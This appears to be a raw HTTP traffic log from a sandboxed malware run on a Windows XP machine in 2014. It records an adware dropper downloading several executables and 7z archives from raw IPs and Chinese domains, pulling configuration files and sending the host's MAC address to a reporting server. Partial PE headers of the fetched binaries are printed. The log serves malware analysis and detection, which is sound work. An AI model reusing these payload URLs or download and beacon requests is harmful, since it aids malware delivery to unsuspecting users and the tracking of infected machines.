...^...^...^...^...^...^...^...^...^...^...}...}...}...}...}...}...}..
.}...}...}...|...~.......v...b...]..~V...{............................
...............................c...Y...`...^...^...^...^...^...^...^..
.^...^...^...^...^...^...}...}...}...}...}...}...}...}...}...}.......}
...n...^...\...a..zR..................................................
................._...[..._...^...^...^...^...^...^...^...^...^...^...^
...^...}...}...}...}...}...}...}...}...~...~...t...d...\...^...^...a..
zQ................................................................
<<< skipped >>>

GET /DM15/DMSet.Xml HTTP/1.1

Content-Type: text/html

Host: update.yinyue.fm

Accept: text/html, */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

HTTP/1.1 200 OK

Content-Type: text/xml

Last-Modified: Thu, 11 Sep 2014 02:53:27 GMT

Accept-Ranges: bytes

ETag: "331fd48f6bcdcf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 18 Sep 2014 00:18:09 GMT

Content-Length: 5604
[Set]..DOSJ=0..MeCQ=No..DMVer=0..ZDXFALL=0..JCCS=1867BD..MeClose=No..K
aKaMen=Yes..YSYC=7D849E..BCCC=A1C5DD..YXYX=91C00C55..CLYY=42A7F3..PNPN
=D5054099..IXT1=E81DA6..IXT2=B328BD..IXT3=A828A731..IXT4=E912AB..IXT5=
A1C51F..SetHpt2=E51564B3..DMIDS=C7234EE00961F7117ED03FA90C7BEA4DB92A..
HEHEHE=4D9F3E9823778C912DB736BD1857AF03469E328DD82DB90D16..ZDSD=76829F
E53C92EE08177ADC277D879D304AABF108AEF40F156FC1DB267C86..DMMac=C30650EE
75859EE776CF145191D0D464E77CDF7FCED617AEF7738BC61052E00AAACD..TJRED=DC
6FC914AEC2DB21BC074188D616A02CB5000451EC7DCCD01EA73F449F3B85C5DC21A836
B4076CC82C..TJRED2=01439D388296EF3580DA155CFA4A94D36DCBD361FC4D9CE06EF
74F54EF4B952A71B53D9A298BE07D90..TJRED3=65E776C01B7F849925BF0E4593D26D
F846909426B136B5C9075CE33980DB7ACE2A72F94785D73D99FC..[DM1]..ASSJ=0..X
Has=No..ASAll=0..DM1IDS=768092E33C92FE6BCD3B54FA1573C5214CE20363..1=..
2=..3=..4=..5=..[DM2]..ST=180..DS=20..All=1..XHKG=Yes..DM2JG=0..DM2ZS=
No..SJDM2=No..DM2IDS=90EE0D6E8A2D45AD0069862947A13453B205618D..1=No|R1
|18|18|250|340|5|No|Yes|0|No|20|1|No|94C812|BC0FA9348EE2384DEE4CE93281
C00554E363BB085FB3C0DB267C81C30C11539FE77AC418AE|No|0|0..2=..3=..4=..5
=..[DM3]..ST=300..DS=60..All=1..XHKG=Yes..DM3JG=0..DM3ZS=No..SJDM3=No.
.DM3IDS=64B2C0DD3A9CF41DB3DC0AACDA359BCA3A9CC825..1=No|R1|18|29|250|34
0|5|No|Yes|0|No|No|0F77CC|37B5005EE4354E57E476C7DF73F64FE272FD064699F9
1B66BCC6DF62EE3484C76AF54E569423BA0D66F575C969F470|1BMP|0|0..2=..3=..4
=..5=..[DM4]..DS=0..TM=255..DJS=0..TP3=Yes..TPTP=No..XSKK=No..DMTG=B52
EB7..DM4IDS=769DF45BB7D37A97F047A1CF6681EC43A3C3..TS=6916EA9EADAE5
<<< skipped >>>

GET /stat.htm?id=4327411&r=&lg=en-us&ntime=none&cnzz_eid=921366142-1410999416-&showp=1276x846&t=&h=1&rnd=2115344014 HTTP/1.1

Accept: */*

Referer: hXXp://adsvc2.9365.info/count/softcount/?pwc

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: hzs2.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine/1.4.1

Date: Thu, 18 Sep 2014 00:16:56 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Tue, 28 May 2013 02:57:17 GMT

Connection: close

Accept-Ranges: bytes
GIF89a.............!.......,...........D..;..

GET /dls/axuls.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: 219.239.223.191

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 148992

Content-Type: application/octet-stream

Last-Modified: Tue, 16 Sep 2014 12:45:00 GMT

Accept-Ranges: bytes

ETag: "187b9d7acd1cf1:1cc1"

Server: Microsoft-IIS/6.0

MicrosoftOfficeWebServer: 5.0_Pub

X-Powered-By: ASP.NET

Date: Thu, 18 Sep 2014 00:14:35 GMT
MZP.....................@.............................................
..!..L.!..This program must be run under Win32..$7....................
......................................................................
..............................................PE..L....^B*............
..............................@.......................................
.......@[email protected]................... ..
T.....................................................................
..............CODE....,........................... ..`DATA............
....................@...BSS.....1................................idata
[email protected]................................
[email protected].... ............
[email protected][email protected][email protected]................
[email protected]..............................................
......................................................................
[email protected]...........@.
.False.True.@.,[email protected][email protected][email protected].@...@.
[email protected]@[email protected]@[email protected]@[email protected]@.l5
@[email protected][email protected][email protected]............
........F.System......D$....M...D$....M...D$....M.....@...@...@.......
.............F .@...........@.,.@...........................@.....\.@.
.7@..^@..^@[email protected]@..^@[email protected]@[email protected].
...........([email protected].%..A....%..A....%..A....%..A....%..A....%..
<<< skipped >>>

GET /dls/axult.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: 219.239.223.191

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 144896

Content-Type: application/octet-stream

Last-Modified: Tue, 16 Sep 2014 12:44:57 GMT

Accept-Ranges: bytes

ETag: "586c875acd1cf1:1cc1"

Server: Microsoft-IIS/6.0

MicrosoftOfficeWebServer: 5.0_Pub

X-Powered-By: ASP.NET

Date: Thu, 18 Sep 2014 00:14:39 GMT
MZP.....................@.............................................
..!..L.!..This program must be run under Win32..$7....................
......................................................................
..............................................PE..L....^B*............
..............................@.......................................
[email protected]......................
......................................................................
..............CODE....,........................... ..`DATA............
....................@...BSS.....9................................idata
[email protected]................................
[email protected]....................
[email protected][email protected]................
[email protected]..............................................
......................................................................
[email protected]...........@.
.False.True.@.,[email protected][email protected][email protected].@...@.
[email protected]@[email protected]@[email protected]@[email protected]@.l5
@[email protected][email protected][email protected]............
........F.System......D$....M...D$....M...D$....M.....@...@...@.......
.............F .@...........@.,.@...........................@.....\.@.
.7@..^@..^@[email protected]@..^@[email protected]@[email protected].
...........([email protected].%..A....%..A....%..A....%..A....%..A....%..
<<< skipped >>>

GET /hzsoft/IFoxInstall-y-c203945859-run-s-x.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: 219.239.223.191

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 500680

Content-Type: application/octet-stream

Last-Modified: Fri, 09 May 2014 11:05:43 GMT

Accept-Ranges: bytes

ETag: "f68dc59e766bcf1:1cc1"

Server: Microsoft-IIS/6.0

MicrosoftOfficeWebServer: 5.0_Pub

X-Powered-By: ASP.NET

Date: Thu, 18 Sep 2014 00:14:40 GMT
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
....D./.......,.......:.o.....=......j.......j..........6.....3.......
-.......(.....Rich............PE..L...jB.P............................
.\............@.......................................@...............
..................Tp..@.......<j...................`...J..0........
...........................@..........................................
..text............................... ..`.rdata.......................
.......@[email protected]\.......:[email protected]...<j......
.l..................@[email protected]...`[email protected]......
......................................................................
......................................................................
......................................................................
......................................................................
..................................................j`...D..a]........$.
E....j.Q....e.h..D.......}.W.s~..3..]...........D...1...E......E..4.D.
.]..]..]..]..]..]......h.:...5..E....i......K...h....h....j.j.Y.E.....
......j..M.Q...P.SW........M.Q...P.....E....}.....4.D.......h.:...5..E
..................M.j0jnj<..(.E..F........j..M.Q...P..].VS.b......M
.Q...P.....E....}.....L.D...6...3..d.D.V.........E......E...E......E..
.M..E...M..E...M..M..M..M........................\...........j..U.R.P.
......S.....V.}.......E...........%......E...........E..p.D......h
<<< skipped >>>

GET /0815/help1.html HTTP/1.0

Host: update.yoyolm.net

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Date: Thu, 18 Sep 2014 00:17:55 GMT

Content-Length: 538

Content-Type: text/html

Last-Modified: Tue, 09 Sep 2014 07:24:49 GMT

Connection: Close

ETag: "e47ee24ffcbcf1:676"

Accept-Ranges: bytes

Server: Microsoft-IIS/6.0

Fw-Via: DISK HIT from cnc-sd-153-132.fcd, DISK HIT from ctl-gd-148-147.fcd
TRW2VjdF0KODY9MQo4Nz0xCjg4PTEKODk9MQo5MD0xCjkxPTEKOTI9MQo5Mz0xCjk0PTEK
OTU9MQo5Nj0xCjk3PTEKOTg9MQo5OT0xCjEwMD0xCjEwMT0xCjE1MD0xCjE1MT0xCjE1Mj
0xCjE1Mz0xCjE1ND0xCltnXQowPTEKW3BhXQowPTEKW2kxXQowPTEKW2kyXQowPee juiY
keWboui0rQpbaTNdCjA9aHR0cDovL3d3dy5tZWltb3R1YW4uY29tL2ljby5pY28KW2k0XQ
owPW1tdC5pY28KW2k1XQowPWh0dHA6Ly93d3cubWVpbW90dWFuLmNvbS8/cmwKW3NuYW1m
MV0KMD00CltzbmFtZjJdCjA9NApbc25hbV0KMD0zCltzanMzXQowPTEwCltyZWNdCjA9aH
R0cDovL2RsLjM2MHNhZmUuY29tL3AvU2V0dXBfb2VtcWQ1MS5leGUKW2Rpcl0KMD1TZXR1
cF9vZW1xZDUxLmV4ZQpbZHNjXQowPS9TCltlZF0KRTA9MQ==..

GET /client/jstm/1.1.0.0a-zm-157391-v5.exe HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.tonnn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.2.0

Date: Thu, 18 Sep 2014 00:18:04 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 930

Connection: keep-alive

Set-Cookie: session=eyJfaWQiOnsiIGIiOiJZekV3TVRrd09EaGhZbVpsTlROaU16RmtOREF3Tm1FMk5tWmpNR1V3WWpBPSJ9fQ.Bvu2PA.34duzsjZLJBfgqJDEuIQuoUIl9U; Domain=.tonnn.com; HttpOnly; Path=/

P3P: CP="UNI CUR OUR", policyref="/w3c/p3p.xml"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">.
<html>.<head>..<meta charset="utf-8">..<title>
.........</title>..<script type="text/javascript" src="http:/
/static.tonnn.com/base/jquery/jquery-1.10.2.min.js"></script>
.    <script type="text/javascript" src="hXXp://static.tonnn.com/ba
se/jquery-cookie/jquery.cookie.1.3.1.js"></script>.</head&
gt;..<body style="border:none; padding:0; margin:0;" scroll="no">
;.    <iframe width="797" height="469" frameborder="0" src="/client
/jstm/login/is_Desktop" scrolling="no"></iframe>.    ..<sc
ript type="text/javascript">...//if(!$.cookie('popFlag')) $.cookie(
'popFlag', 0, {expires:3});...//var popFlag = $.cookie('popFlag');....
..//if(popFlag<2){....//setTimeout(function(){window.open('hXXp://t
2.web.tonnn.com/tg/qs/chuanqi3/client/popup/')},parseInt(Math.random()
*600 1) * 1000);....//$.cookie('popFlag', parseInt(popFlag) 1, {expire
s:1});...//}.    </script>..</body>.</html>HTTP/1.1 
200 OK..Server: nginx/1.2.0..Date: Thu, 18 Sep 2014 00:18:04 GMT..Cont
ent-Type: text/html; charset=utf-8..Content-Length: 930..Connection: k
eep-alive..Set-Cookie: session=eyJfaWQiOnsiIGIiOiJZekV3TVRrd09EaGhZbVp
sTlROaU16RmtOREF3Tm1FMk5tWmpNR1V3WWpBPSJ9fQ.Bvu2PA.34duzsjZLJBfgqJDEuI
QuoUIl9U; Domain=.tonnn.com; HttpOnly; Path=/..P3P: CP="UNI CUR OUR", 
policyref="/w3c/p3p.xml"..<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4
.01 Transitional//EN">.<html>.<head>..<meta char
<<< skipped >>>

GET /ext/ext.7z HTTP/1.1

User-Agent: Beacon

Host: s.sogv.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 18 Sep 2014 00:18:23 GMT

Content-Length: 54492

Content-Type: application/octet-stream

Content-Location: hXXp://s.sogv.com/ext/ext.7z

Last-Modified: Sun, 20 Jul 2014 14:08:34 GMT

Accept-Ranges: bytes

ETag: "861c1f1824a4cf1:195f"

Server: NGINX/0.6.39

X-Powered-By: WAF/2.0
7z..'...............$.........4\.~..\].=.=A......$...~.%.....s...f.^Rj
c1..~-.......`.~..`..YVJZ1..E.........#.]33[.R.CW? R:.fh;Da.M..._<.
........2.9.u.fzP....x.....q%...}./..(..1....Q.qm......9.L.q..h..z....
.,...Y..6.....$bR.....k........6...A)....`.^.M........d.mv.u.V.nW..i.n
....=.a.G...T,~T....7.........8.M'.j@...\*...t.)].i..Q.m.S...d...t]M.F
[email protected].../LR.;...0......s..w1.v.5.$...E..`A&
lt;zL....J.J.A....G~......T.i"j.....XZ..k.....a....&B.HI......}k.*w...
.V..iti.....K...W....D(0.h.'..>h.5........k04.v/h...s_V}.?P ......9
j!*.O.}.Kc.;`.....D..y}..=.....=R..G..........F............&.TZ.....w.
...h....h..{.G....P:.l$...r..G.6...'..F.z...x..Lo9a.#....[...K.F......
....V...............}.wi..........5Y....b..Q.....^.c.e..x..V&Rh.ZW.<
;..f.h5....ECpS..N.o....5A".......%.sM...n..vy"a..I.._.\x.V)S.ZB.x.A,\
..i.$ ....U....w.D...pF..F.WV....h..#-.....P5.v'M\.....{}..#...2...'..
^...7..s^..L..%..0.....<jJ....T_.o.F.....veX.D..v..U......w...E]5y%
.d.6...ex=..1"..I..n...b...w3Q........cr..6.zyd................./| ...
.]bg... ..b.=..vm......i~D6....m;A.........(W..4k).^.......UpV.h.....Y
[email protected]..{.!U.{#.y|..=.>eu..751.Sl.D...M.9#....cJK..
....j.......J/...b|.YW...Y.T.r......Z..v*s.....d......z|...`.......L4.
8....:S.........f....hp......\7.w..?....g?......z.y<.{6.!eUV..?....
..[$..<./........./.t..f..7.[......i\.*8|_..2.....I...'x>..;M1.|
.K..-B...g#.3.IY.J...E--5Zk.l.-K..o...C.9^;..v$G.%%.*d.........!../E&g
t;..]....'/.......Fi.....C(<..h:.M...4bN...Zx....F..Z.......?L.
<<< skipped >>>

GET /dc/run/start/2.0.1.1001/c654925393ae14277410758bb43bb4ec/2561/28/1970-1-1/? HTTP/1.1

Host: appledesktop.sinaapp.com

Connection: Keep-Alive

HTTP/1.1 204 NO CONTENT

Server: nginx/1.4.4

Date: Thu, 18 Sep 2014 00:17:27 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 0

Connection: keep-alive

via: yq34.pyruntime

Set-Cookie: saeut=CkMPIlQaJJdGuG9OBLGAAg==; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/
HTTP/1.1 204 NO CONTENT..Server: nginx/1.4.4..Date: Thu, 18 Sep 2014 0
0:17:27 GMT..Content-Type: text/html; charset=utf-8..Content-Length: 0
..Connection: keep-alive..via: yq34.pyruntime..Set-Cookie: saeut=CkMPI
lQaJJdGuG9OBLGAAg==; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/..

POST /config/iplocater HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*

Accept-Language: en-us

User-Agent: Mozilla/4.0

Host: API.TUPIAN8.CN

Content-Type: application/x-www-form-urlencoded

HTTP/1.1 302 FOUND

Server: nginx/1.2.0

Date: Thu, 18 Sep 2014 00:18:00 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 219

Connection: close

Location: hXXp://API.TUPIAN8.CN/login

P3P: CP="UNI CUR OUR", policyref="/w3c/p3p.xml"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">.<titl
e>Redirecting...</title>.<h1>Redirecting...</h1>.
<p>You should be redirected automatically to target URL: <a h
ref="/login">/login</a>.  If not click the link...

GET /02aab2d719917873b95f7e285991ad620000000000082370/9291/25605/sjss_jing_zhimeng_217.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: 183.61.184.37

HTTP/1.1 200 OK

Server: nginx/1.4.3

Date: Thu, 18 Sep 2014 00:17:06 GMT

Content-Type: application/octet-stream

Content-Length: 533360

Last-Modified: Tue, 01 Jul 2014 08:56:31 GMT

Connection: keep-alive

ETag: "53b277bf-82370"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......-vCAi.-.i.-.
i.-..a....-.`o..j.-.`o..p.-.i.,...-..a..V.-..a....-..a..h.-..a..h.-.Ri
chi.-.................PE..L....'.S.....................l..............
......@................................. .....@.......................
...................p..8...............p....P..8.......................
................@...............$............................text.....
.......................... ..`.rdata..|P.......R..................@..@
[email protected]................
......@[email protected]...'...P...([email protected]....................
......................................................................
......................................................................
......................................................................
......................................................................
..............................................l.A..I...t.Q.....Y......
......U..VW.}.....u..v...t'3._f..^]....F...t.P.f......W.h.......F._^].
................U..V.u...t%.U...t..E...u..p.A..I.QPRV....A.^]...3.^]..
..........U..V...E....E..t.V..........^]..................U...E.V..P..
l.A..F......$.....^]..................x.A..*........U..V....x.A.......
E..t.V.B........^]...............x..r.........U...E.VP.........x.A...^
][email protected](.M.Q.M..E....../...h..A
..U.R.E.x.A..M.....]..............U......y..r...Q.M.......M.......
<<< skipped >>>

POST /report/use HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*

Accept-Language: en-us

User-Agent: Mozilla/4.0

Content-Length: 86

Host: API.TUPIAN8.CN

Content-Type: application/x-www-form-urlencoded

data=pid=juese.exe.sn=juese.exe.mac=000c298a8b37.sign=a258e4f5333f00a2669be0ac6218706d
HTTP/1.1 200 OK

Server: nginx/1.2.0

Date: Thu, 18 Sep 2014 00:18:02 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 2

Connection: close

P3P: CP="UNI CUR OUR", policyref="/w3c/p3p.xml"
ok..

GET /img/pic.gif HTTP/1.1

Accept: */*

Referer: hXXp://adsvc2.9365.info/count/softcount/?pwc

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: icon.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine/1.3.0

Date: Thu, 18 Sep 2014 00:16:57 GMT

Content-Type: image/gif

Content-Length: 719

Last-Modified: Fri, 16 Jan 2009 08:10:47 GMT

Connection: keep-alive

Keep-Alive: timeout=5

Expires: Fri, 19 Sep 2014 00:16:57 GMT

Cache-Control: max-age=86400

Accept-Ranges: bytes
GIF89a2.........f..3...33.............................................
.......................................!..NETSCAPE2.0.....!..Powered b
y AFEI.!.......,....2...... !.di.hjBl..p,....x......`P.(...GR.D6...CH.
...,..@8.... -..EQc.8...........`...."....................~"..H.......
.H......"...$....#.........."..........."Z.......*...%!.!.......,....2
...... !.di.hjBl..p,....x..|....p r..H.C.\&.H.tJu...#b......7..W.h....
...7..l..v..-....."....................~"..I........I......"...$....#.
........."..........."\.......*...%!.!.......,....2...... !.di.hjBl..p
,....x..|....p r..H.C.\&.H.tJu...#b......7..W.h.......7..l..v..-....."
....................~"..I........I......"...$....#..........".........
.."\.......*...%!.;HTTP/1.1 200 OK..Server: Tengine/1.3.0..Date: Thu, 
18 Sep 2014 00:16:57 GMT..Content-Type: image/gif..Content-Length: 719
..Last-Modified: Fri, 16 Jan 2009 08:10:47 GMT..Connection: keep-alive
..Keep-Alive: timeout=5..Expires: Fri, 19 Sep 2014 00:16:57 GMT..Cache
-Control: max-age=86400..Accept-Ranges: bytes..GIF89a2.........f..3...
33....................................................................
................!..NETSCAPE2.0.....!..Powered by AFEI.!.......,....2..
.... !.di.hjBl..p,....x......`P.(...GR.D6...CH....,..@8.... -..EQc.8..
.........`...."....................~"..H........H......"...$....#.....
....."..........."Z.......*...%!.!.......,....2...... !.di.hjBl..p,...
.x..|....p r..H.C.\&.H.tJu...#b......7..W.h.......7..l..v..-....."....
................~"..I........I......"...$....#..........".........
<<< skipped >>>

GET /painter/clb/popup7o.js HTTP/1.1

Accept: */*

Referer: hXXp://adsvc2.9365.info/ad/softad/popup.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dup.baidustatic.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 18 Sep 2014 00:17:00 GMT

Content-Type: application/x-javascript

Last-Modified: Tue, 04 Mar 2014 07:44:44 GMT

Transfer-Encoding: chunked

Connection: close

Server: Apache

Expires: Thu, 18 Sep 2014 00:22:00 GMT

Cache-Control: max-age=300

Content-Encoding: gzip
dcc.............Ymo.6..._!..]) k......Fl'.qi.4...6.J..t..V........Ii..
..]..K..!9/.g.........J..\.W2[6.....['\&....=.u.[..Hm.&jQ....^..;..q#.
.v.[^Y.p..-.....,...;y}~.......D.......l...|U..)..J.^\.#..h6U...H...?.
....-B.%........OU........W<.n.......Q..o...Ez.fA..E^.$.....R-..U..
.:.W..M..Mu.&"......@..&^....].m).....t]........ ...`#V..gz*.~...!5.V.
.S6....M...eG...j.......|..X.h=X......=..d.....<.. vZC.].W...jY8.l.
...s...n...-..4u!.3=...sw..8m.F..*..$I.:x-,VlV.........0.*.?.z,*.\....
....e..._.....c...T...*.s..e.#......t.....\Y5..J......_.2."..k....<
.7}..$.$L/t.U.........c.q;....Vu\~..l......?...H$G..L....T.)=.a.......
.Z9...z...n.s....J..*......;`G.n- .'l.\.....>g...W.h0.....2-......~
..j][email protected][email protected]"...7P.
V.....#-0.....-.$...... 4.e7'....#..\........e..D.3.......l...z.,V...%
....Y..S.....i....)M.....w%..v,.'......].......!....p.\.......<....
v.`...S.....f..'ap.......1%|v.&.a.,..."k.A2.i..!.H..,.3.t.p}.M.g..5...
 .cX...Ev....s....7.s.".....V<'......T..3&iLbl.......A.@$..t......?
.~.............A6.%.......<W.AC}.ng._.......Z...H0\.I../......9\1.y
..A..K%V..%.....1...D....S.>5H....0df=<....<x..8....Wr......Y
!.yx...89.~>U..;..^.....c....9DJ.0....;.xxw....^.g..2.d..b......Q..
.....Gdw ..U..^?.(.F-..}..SF8.>.R....'..F.J.....c&.zDd...>..r...
m....WC.~r..0.]......7.s.Q....sc .f.a..-.f...qtS{..........d..V....mY.
.!..d.k.}...E...s.\B.}.."...m.g.^...:5p.0....2.CY.&....C...&.L.4......
q...7..N......."...A.wS..f.9}.Ngf>.d.v.X...j$.M.......%..E.....
<<< skipped >>>

POST /config/juese/adconf HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*

Accept-Language: en-us

User-Agent: Mozilla/4.0

Host: API.TUPIAN8.CN

Content-Type: application/x-www-form-urlencoded

HTTP/1.1 200 OK

Server: nginx/1.2.0

Date: Thu, 18 Sep 2014 00:18:01 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 606

Connection: close

P3P: CP="UNI CUR OUR", policyref="/w3c/p3p.xml"
{"lbt": "1800", "dbn": "6", "llt": "10800", "oeu2": "hXXp://s.sogv.com
/ext/update.7z", "ldt": "0", "dbs": "1", "dbt": "360", "mdt": "3600", 
"lbn": "5", "idn": "..netert Hao..23", "udu": "hXXp://VVV.hao123.com/?
tn=99283481_hao_pg", "lu": "hXXp://VVV.vool.cn/_right/", "ls": "1", "u
ds": "1", "ubs": "1", "oes": "1", "oeu": "hXXp://s.sogv.com/ext/ext.7z
", "ubn": "6", "udn": "lnetent Haol23", "upu": "hXXp://VVV.hao123.com/
?tn=99283481_hao_pg", "ibn": "4", "idu": "hXXp://hao.360.cn/?src=lm&ls
=n525187378f", "ids": "1", "st": "1410752066", "mu": "hXXp://VVV.vool.
cn/_mini/", "ms": "1", "ibs": "1", "ups": "1"}..

GET /index.php?encode=NTSwDwNDg0KlllcyxwY2EqMDSwDtMEMtMjktIkLEEtIkLEItMzcscG9kKjUsdW9kKjEwMDgsb3MqV2luZG93cyBYUCxwb2lzb24qLHN0YXTgF1cyoyLGxpc3QqQzpcTgFG9jdW1lbnTgFzIGFuZCBTZXTgF0aW5nc1xhZG1cQXBwbGljYXTgFpb24gTgFGF0YVxBcHBsZUTgFlc2t0b3SwDSwD&process=apples_5_1008.exe HTTP/1.1

Host: inapi.9vh.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 18 Sep 2014 00:17:27 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.28
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 18 Sep 2014 00:17:27 GMT
..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..
Connection: keep-alive..Vary: Accept-Encoding..Vary: Accept-Encoding..
X-Powered-By: PHP/5.3.28..0..

GET /apples_5_1008.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: down.9vh.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 18 Sep 2014 00:17:13 GMT

Content-Type: application/octet-stream

Content-Length: 1515882

Last-Modified: Fri, 05 Sep 2014 05:23:56 GMT

Connection: keep-alive

ETag: "540948ec-17216a"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$..........v...%...%
...%...%...%...%...%...%j..%.\.%...%.\.%...%.\.%...%Rich...%..........
..............PE..L...%..R.................v... ..."..G8............@.
......................................................................
..............h`......................................................
.....................................................text....u.......v
.................. ..`.rdata..\#.......$...z..............@[email protected]...
\[email protected]................................
...rsrc...h`.......b..................@..@............................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected][email protected].....@
..}..e....@[email protected]... M.........3..M.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...<[email protected].....@
..u....E..9}[email protected].}[email protected]
[email protected][email protected] ....E..E.Pj.h`[email protected].....@._
^3.[.....L$....D...i.. ...T.....tUVW.q.3.;5..D.sD..i.. ...D..S.....t.G
.....t...O..t .....u...3....3...F.. ..;5..D.r.[_^...U..QQ.U.S....D
<<< skipped >>>

GET /index.php?encode=NDk5NjI1KlllcyxwY2EqMDSwDtMEMtMjktIkLEEtIkLEItMzcscG9kKjUsdW9kKjEwMDgsb3MqV2luZG93cyBYUCxwb2lzb24qLHN0YXTgF1cyoxLGxpc3QqQzpcTgFG9jdW1lbnTgFzIGFuZCBTZXTgF0aW5nc1xhZG1cQXBwbGljYXTgFpb24gTgFGF0YVxBcHBsZUTgFlc2t0b3SwDSwD&process=apples_5_1008.exe HTTP/1.1

Host: inapi.9vh.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 18 Sep 2014 00:17:26 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.28
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 18 Sep 2014 00:17:26 GMT
..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..
Connection: keep-alive..Vary: Accept-Encoding..Vary: Accept-Encoding..
X-Powered-By: PHP/5.3.28..0..

GET /upgrade/IFoxInfo.cfg HTTP/1.1

Accept: */*

Host: photocdn.hd.sohu.com

Content-Length: 0

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 178

Connection: keep-alive

Server: SNS

Date: Wed, 30 Jul 2014 03:53:54 GMT

Last-Modified: Wed, 19 Feb 2014 00:18:01 GMT

Expires: Thu, 30 Jul 2015 03:53:54 GMT

Cache-Control: max-age=31536000

FSS-Cache: HIT from 4070211.6757197.4795244

Accept-Ranges: bytes
[ROOT]..VERSION=4.2.0.88..VALUE= 67240024..URL=hXXp://data.vod.itc.cn/
foxd/gz?file=SohuNewPlayer.exe&new=/212/10/LX1gaYhp2TxOw4UbWrnLg7.exe.
